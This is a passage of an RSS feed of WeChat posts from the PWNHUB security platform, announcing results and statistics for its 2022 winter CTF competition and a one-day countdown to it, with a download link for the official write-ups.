255);box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;">第四名至第十名</p></section></section></section></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 3px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px solid rgb(255, 255, 255);border-bottom-left-radius: 0px;height: auto;padding: 11px 23px 23px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">300 PWNHUB 金币</p></section></section></section></section></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 90%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;box-sizing: border-box;"><section style="transform: perspective(0px) rotateZ(310deg);-webkit-transform: perspective(0px) rotateZ(310deg);-moz-transform: perspective(0px) rotateZ(310deg);-o-transform: perspective(0px) rotateZ(310deg);transform-style: flat;box-sizing: border-box;" powered-by="xiumi.us"><section style="transform: rotateX(180deg);line-height: 0;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 7%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="3" data-type="svg" data-w="50" style="vertical-align: middle;width: 100%;height: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=a16d8a9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FY3WgNLFjO0dBTnQ3bJedIgWhA2qDm9unHJaMMxFbygvTEBGsuicfbcqL5R2xKiblwK7qYExY4tyDKkLd6pd7TDA8F1Fd1twSvy%2F640%3Fwx_fmt%3Dsvg"/></section></section></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="font-size: 15px;color: rgb(216, 230, 214);padding-right: 15px;padding-left: 15px;line-height: 2;box-sizing: border-box;" powered-by="xiumi.us"><p style="box-sizing: border-box;">校内比赛 QQ 群：589772767</p></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><section style="text-align: center;line-height: 0;box-sizing: border-box;" powered-by="xiumi.us"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 54%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="1" style="vertical-align: middle;width: 100%;box-sizing: border-box;" data-type="png" data-w="592" src="https://wechat2rss.xlab.app/img-proxy/?k=53126584&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtBics1PdpEkehRu4qnnQ6GibL38CFubCDflOnnnYrjHxBaRMQCE1eicjyC6VBwNYUocN4iaUhoFr0L8ckE2smUd8Ng%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="font-size: 15px;color: rgb(216, 230, 214);padding-right: 15px;padding-left: 15px;line-height: 2;box-sizing: border-box;" powered-by="xiumi.us"><p style="box-sizing: border-box;">比赛总 QQ 群：134591168</p></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><section style="text-align: center;line-height: 0;box-sizing: border-box;" powered-by="xiumi.us"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 54%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="1" style="vertical-align: middle;width: 100%;box-sizing: border-box;" data-type="png" data-w="592" src="https://wechat2rss.xlab.app/img-proxy/?k=d0bc27e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtBics1PdpEkehRu4qnnQ6GibL38CFubCDfCWjkF9EA1cAcCRibSGRpWdfKo2zag9TSBk7hkicSV9nxHu7Y2xgHsXNw%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p></section><p><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500495">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=55daba37&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247500495%26idx%3D2%26sn%3Dd4fb1892b737b9419bd6d6d3903293a2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 03 Jan 2023 18:33:00 +0800</pubDate>
    </item>
    <item>
      <title>PWNHUB2022冬季赛收官，明年见！！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247500488&amp;idx=1&amp;sn=fa5613b15a3f7b75d4c2253b4a3c12da</link>
      <description>听说官方wp已经放出来了！！真的假的</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-12-20 18:10</span> <span style="display: inline-block;">北京</span>
</p>

<p>听说官方wp已经放出来了！！真的假的</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e41859ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aJPFlHrjKkic9ficm7TLzGibvDoSuJmIsqeIxkJ3VwpXfLCb42fAxk8aaicjm2WOYIghfFdKRS52BibRQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 8px;line-height: 1.5em;text-align: left;" data-mpa-powered-by="yiban.io"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">PWNHUB 2022冬季赛</span></p><p style="margin-bottom: 8px;line-height: 1.5em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">正式收官！！</span></p><p style="margin-bottom: 8px;line-height: 1.5em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;"><br/></span></p><p style="margin-bottom: 8px;line-height: 1.5em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4255555555555556" data-s="300,640" style="" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=62fb5ba5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aJPFlHrjKkic9ficm7TLzGibvhiaaKYCBFke51SS4ALRZTQnQibElukUia58AHzQHlYnHM2qBohtI0e75g%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 8px;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">PWNHUB冬季赛作为2022年度的终局之战，累计吸引</span><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(61, 167, 66);">503</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">支战队参与，各参赛队伍大咖云集。经过36小时的神仙打架，一份新鲜的排行榜出炉了！</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5862068965517241" data-s="300,640" style="" data-type="png" data-w="3770" src="https://wechat2rss.xlab.app/img-proxy/?k=2d94fa76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0aJPFlHrjKkic9ficm7TLzGibvBfSg6m6Ml9AUWOsiaibBGflsHP97n5Dje3hNsneeoDJPhSOxuTpfMy8A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4255555555555556" data-s="300,640" style="" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=72f41205&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aJPFlHrjKkic9ficm7TLzGibv0AYDvibezHicQdORNhHG6VSQuKZcFKcibibcKeNjnLmFA6dAL7W7884Ugg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">本次比赛共放出</span><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(61, 167, 66);">30</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">道题目，到比赛结束前30分钟，</span><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(61, 167, 66);">30</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">道题目均有战队解出。</span><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(61, 167, 66);">24</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">道题目的前三血被成功拿下，</span><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(61, 167, 66);">7</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">个方向的赛题均有AK战队，部分题目仅有个别战队解出。</span><br/></p><section style="text-align: left;margin-bottom: 8px;"><span style="color: rgb(255, 255, 255);background-color: rgb(61, 167, 66);font-size: 17px;"><strong><span style="background-color: rgb(61, 167, 66);color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;">各方向赛题Ak战队数量</span></strong></span></section><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="letter-spacing: normal;"><strong><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">web方向</span></strong><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">：共5道赛题，<span style="text-align: left;"> [Nu1L]战队Ak该方向所有赛题。</span></span></span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.6em;"><span style="letter-spacing: normal;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-align: left;">pwn方向</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-align: left;">：共4道赛题，4支战队AK该方向所有赛题。<br/></span></span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.6em;"><span style="letter-spacing: normal;"><strong><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">ppc方向</span></strong><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">：共3道赛题，[<span style="orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">N0wayBack</span>]战队AK该方向所有赛题。</span></span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.6em;"><span style="letter-spacing: normal;"><strong><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">crypto方向</span></strong><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">：共3道赛题，有</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">7支战队Ak该方向所有赛题。</span></span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.6em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: normal;"><strong style="text-align: left;white-space: normal;">misc方向</strong><span style="text-align: left;">：共4道赛题，本场赛事解题数量最多的类型，有8支战队AK该方向所有赛题。</span></span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.6em;"><span style="text-align: left;font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: normal;"><strong style="text-align: left;white-space: normal;">other方向</strong>：共3道赛题，作为本场解题数量较多类型之一，共有9个战队AK该方向所有赛题。</span></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 16px;"><span style="letter-spacing: normal;"><strong><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">gaming方向</span></strong><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">：共4道题目，有7支战队AK该方向所有赛题，玩游戏是不是有什么路数，<span style="text-align: left;">[</span><span style="orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">R@dar</span><span style="text-align: left;">] [</span><span style="orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">FlagGOGOGO</span><span style="text-align: left;">] [</span><span style="orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">N0wayBack</span><span style="text-align: left;">] 作为该类型赛题的前三血这边建议出个教程！！</span></span></span></p><section style="text-align: left;line-height: 1.5em;margin-bottom: 16px;"><span style="font-family: Optima-Regular, PingFangTC-light;text-align: left;font-size: 17px;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;white-space: normal;color: rgb(255, 255, 255);"><span style="text-align: left;background-color: rgb(61, 167, 66);">头疼！难搞的是...</span></strong></span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">reverse方向：作为本场赛题最难搞的类型，共有4道题目，其中3道题目都仅有1支战队解出。</span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;"><br/></span></section><p style="text-align: left;margin-bottom: 8px;line-height: 1.5em;"><strong style="color: rgb(255, 255, 255);text-align: left;white-space: normal;"></strong></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4255555555555556" data-s="300,640" style="" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=c794f359&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aJPFlHrjKkic9ficm7TLzGibvK1qmR8wGgOJccxeTWt7XjCVMFUibjxiac5ibibUA6446licfrsIcYnPg3tA%2F640%3Fwx_fmt%3Djpeg"/></p><section style="text-align: left;margin-bottom: 8px;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 17px;"><strong style="color: rgb(255, 255, 255);font-size: 16px;text-align: left;white-space: normal;"><span style="background-color: rgb(61, 167, 66);">群雄追逐，不分上下！！</span></strong></span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.75em;"><strong><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">12月17日</span></strong><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">，比赛一开始，各战队便开始发力，crypto、gaming、misc方向的题目便陆续有战队解出。</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">开赛2小时的时候已有46名战队榜上有名，5个方向的题目被拿下，10个题目被成功解出。</span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 17px;"><strong style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-align: left;white-space: normal;color: rgb(255, 255, 255);"><span style="background-color: rgb(61, 167, 66);"><strong style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-align: left;white-space: normal;color: rgb(255, 255, 255);"><span style="background-color: rgb(61, 167, 66);">在线观看神仙打架！！</span></strong></span></strong></span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.75em;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">12点到15点间</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">，是flag提交的高峰期，各战队选手应该是得到了能量补给，火力全开，疯狂输出，多道赛题的前三血战队开始陆续产生。</span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.75em;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">22点</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">，赛事进行1/3，可以看到排行榜上多个战队已累计提交十余道题目，各个战队间依旧在进行着激烈的追逐，丝毫没有要休息的意思。</span><span style="background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);"></span></section><section style="text-align: center;line-height: 1.75em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2977725674091442" data-s="300,640" style="" data-type="png" data-w="5118" src="https://wechat2rss.xlab.app/img-proxy/?k=5ff94bb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0b2rsYV4yc31C4wIlcfpMfmMmYW44pmFnyNRADAYhXFiaXOlpAV1shlvoDbX21kCiaicERe2QJibASOicw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.75em;"><strong><span style="background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);">12月18日10:00点</span></strong><span style="background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);">，赛事进行到2/3，本场赛事共放出30道赛题，已有24道赛题的前三血被成功拿下，仅剩reverse方向两道赛题暂无战队解出。</span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.75em;"><span style="background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-size: 17px;"><strong style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-align: left;white-space: normal;color: rgb(255, 255, 255);"><span style="orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(61, 167, 66);">直呼各位TQL！！</span></strong></span></section><p style="text-align: left;line-height: 1.75em;margin-bottom: 24px;"><span style="caret-color: rgb(51, 51, 51);orphans: 4;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">比赛倒计时2小时，Nu1L战队拿到<span style="orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">reverse</span>方向赛题calculous的一血，</span><span style="background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);">Volcano战队则拿到reverse方向另一道赛题just try的一血，两块难啃的骨头终于被成功拿下！！<strong style="text-align: left;white-space: normal;font-family: Optima-Regular, PingFangTC-light;font-size: 16px;orphans: 4;caret-color: rgb(51, 51, 51);color: rgb(255, 255, 255);"><span style="background-color: rgb(61, 167, 66);">ORZ</span></strong></span></p><section style="white-space: normal;margin-bottom: 24px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-align: left;">最后，再次感谢参赛的战队及选手对PWNHUB的支持，同时也感谢本次比赛的出题及运维师傅们。PWNHUB 2022冬季赛，是PWNHUB 2022年度的最后一场比赛，我们明年见！</span></section><section style="text-align: left;margin-bottom: 8px;line-height: 1.75em;"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/tzAD45OOV0aJPFlHrjKkic9ficm7TLzGibvaNYcCngfCfvE6DXPzPZcaQAT0shz71XGtOicSkeSTTqSFYFfnI4ZRsw/0?wx_fmt=jpeg" data-cropx1="0" data-cropx2="900" data-cropy1="0" data-cropy2="314.53287197231833" data-ratio="0.3488888888888889" data-s="300,640" style="width: 578px;height: 202px;" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=2e898611&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aJPFlHrjKkic9ficm7TLzGibvMQFY4wOgSbbx3j2KibJOp7ZeLxPMQ1J0UrYxUWTRPUZcw8IDWLzEMibw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;margin-bottom: 8px;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;">访问下面链接即可获取，请各位师傅自取！！</span></p><p style="text-align: left;margin-bottom: 8px;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><a href="https://pan.baidu.com/s/1hqA8iCpxp12MFPj4QREu6Q" target="_blank">https://pan.baidu.com/s/1hqA8iCpxp12MFPj4QREu6Q</a></span></p><p style="text-align: left;margin-bottom: 8px;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;">提取码: i6rm </span></p><p style="text-align: left;margin-bottom: 8px;line-height: 1.6em;"><span style="text-align: right;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><br/></span></p><p style="text-align: right;"><br/></p><p style="text-align: center;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-align: left;">下一场，英雄相见，宝剑出</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-align: left;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.1814946619217082" data-s="300,640" style="" data-type="png" data-w="1124" src="https://wechat2rss.xlab.app/img-proxy/?k=431b7476&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0aJPFlHrjKkic9ficm7TLzGibvmrq78ibfDnSz0g5sCd6PywD9ZV55ic4wcB8uZhdc84DrYnH2pCF4T9vg%2F640%3Fwx_fmt%3Dpng"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" data-mpa-template-id="383" data-mpa-category="模板" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="height: 26px;background: #131415;padding: 0px 8px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 26px;" data-mid="">END</p></section></section></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500488">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=39ffc6e9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247500488%26idx%3D1%26sn%3Dfa5613b15a3f7b75d4c2253b4a3c12da%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 20 Dec 2022 18:10:00 +0800</pubDate>
    </item>
    <item>
      <title>PWNHUB2022冬季赛｜倒计时1天！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247500309&amp;idx=1&amp;sn=33a298e74b35a3c3782b78636dbf88d5</link>
      <description>明天10点开赛啦！</description>
      <content:encoded><![CDATA[<p>
<span>胖哈勃</span> <span>2022-12-16 10:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>明天10点开赛啦！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ec1c382d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0YibTntJ7EmAh0Oua4LpOzNyKBtRFQFjNzXMmOrRBdZeb1GlxcwpEwwxH33UbPK1eg8Jdrdd19ibkKg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;" data-mpa-powered-by="yiban.io"><span style="color: rgb(2, 30, 170);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0.5px;"> </span><strong style="color: rgb(2, 30, 170);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0.5px;">P</strong><strong style="color: rgb(2, 30, 170);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0.5px;">WNHUB2022冬季网络安全大赛</strong></section><section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;"><span style="letter-spacing: 0.5px;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">倒计时</span><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(2, 30, 170);font-size: 20px;"> <strong>1</strong></span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 20px;color: rgb(2, 30, 170);"><strong> </strong></span><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">天！</span></span></section><section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;"><span style="letter-spacing: 0.5px;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"><strong style="text-align: center;white-space: normal;color: rgb(2, 30, 170);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0.5px;"><strong style="color: rgb(0, 0, 0);">12月17日10:00—12月18日22:00</strong></strong></span></span></section><section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;"><span style="letter-spacing: 0.5px;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">36</span></span><span style="letter-spacing: 0.5px;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">小时赛道充斥无限可能</span></span></section><section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;"><span style="letter-spacing: 0.5px;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">点亮你的高光时刻！！</span></span><span style="color: rgb(34, 34, 34);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;caret-color: rgb(34, 34, 34);"></span></section><section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;"><span style="color: rgb(0, 0, 0);letter-spacing: 0.5px;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">赛事网址：<a href="http://ctf.pwnhub.cn/" target="_blank">http://ctf.pwnhub.cn/</a></span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.7777777777777777" data-s="300,640" style="" data-type="jpeg" data-w="1242" src="https://wechat2rss.xlab.app/img-proxy/?k=beb75eef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0YibTntJ7EmAh0Oua4LpOzNy4VfkHOZ1tXuCcR1XjbFa7fOxpm8ib21LJYhRxGkqibSJHbLQWgezl0Rg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4255555555555556" data-s="300,640" style="" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=91668365&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aSYicH7BPDNHD0xuiaZPppjq5RVz2rT69wR4vFpTwXBc8DA0rqQC9ialMaYwc5CcnicnCl1IaM7UTFlQ%2F640%3Fwx_fmt%3Djpeg"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: center;align-items: center;padding: 0px 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 31px;height: 8px;display: flex;justify-content: center;align-items: center;transform: rotateY(180deg);" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.25806451612903225" data-w="62" style="display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=72091d81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F2mrd7CkYicOrTTQvwiaesYU1ic4d9gu6ClgxeyYcsQoMQ3uJBvM0PWDwHtFEWugoc61uF0IA8Qppia1iczcEABP6RHg%2F640%3Fwx_fmt%3Dpng"/></section></section><section data-mpa-template-rows="1" style="width: 100%;margin-top: 11px;" data-mid="" 